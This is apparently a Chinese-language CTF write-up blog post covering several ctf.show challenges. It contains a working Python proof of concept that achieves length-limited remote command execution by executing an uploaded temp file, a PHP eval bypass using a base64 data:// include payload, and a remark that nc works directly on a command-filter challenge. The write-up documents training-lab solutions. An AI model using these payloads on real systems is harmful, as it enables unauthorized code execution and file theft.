签到

这道题目审计源码的时候可以看到对cmd的长度限制在了7个字符以内。实际上和xiaolong之前分享的有长度限制的rce是一个东西,利用临时文件来获得flag。

image-20220808191221694

poc

import requests

__AUTHOR__ = "h1xa"

url = "http://3b8bfd93-fe7c-48d0-9c70-3748011695cf.challenge.ctf.show/"


def getFlag():
  file={
  "file":"#!/bin/sh\ncat /f*>/var/www/html/1.txt"
  }

  data={
    "cmd":". /t*/*"
  }
  response = requests.post(url=url+"api/tools.php",files=file,data=data)
  if "t*" in response.text:
    print("执行成功,检查回显...")
  response = requests.get(url=url+"1.txt")
  if response.status_code == 200:
    print("flag 获取成功 "+response.text)
  else:
    print("flag 获取失败")

if __name__ == '__main__':
  getFlag()

这里就是最重要的是 cmd的命令,表示的是执行临时文件

easy_calc

源码

<?php

if(check($code))&#123;
    eval('$result='."$code".";");
    echo($result);    
&#125;

function check(&$code)&#123;

    $num1=$_POST['num1'];
    $symbol=$_POST['symbol'];
    $num2=$_POST['num2'];

    if(!isset($num1) || !isset($num2) || !isset($symbol) )&#123;    
        return false;
    &#125;

    if(preg_match("/!|@|#|\\$|\%|\^|\&|\(|_|=|&#123;|'|<|>|\?|\?|\||`|~|\[/", $num1.$num2.$symbol))&#123;
        return false;
    &#125;

    if(preg_match("/^[\+\-\*\/]$/", $symbol))&#123;
        $code = "$num1$symbol$num2";
        return true;
    &#125;
    return false;
&#125;

这里三个变量可控主要是过滤了符号,比较重要的是反引号和左括号,那这里唯一的利用方法就只有php伪协议了。这里可以直接使用data协议来实现:include “data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+”。直接把php伪协议分成三段完工。

easy_cmd

这个题目看到的时候比较懵逼,好像直接就能够nc了,后面看了视频知道了是非预期解,本来是要在不出网的情况下来做的。

<?php

error_reporting(0);
highlight_file(__FILE__);

$cmd=$_POST['cmd'];

if(preg_match("/^\b(ping|ls|nc|ifconfig)\b/",$cmd))&#123;
        exec(escapeshellcmd($cmd));
&#125;
?>

这里直接nc监听就行了。

easy_sql

这个题目还有一些地方不太懂,具体的后面在做解析。


文章作者: kento
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 kento !
评论
  目录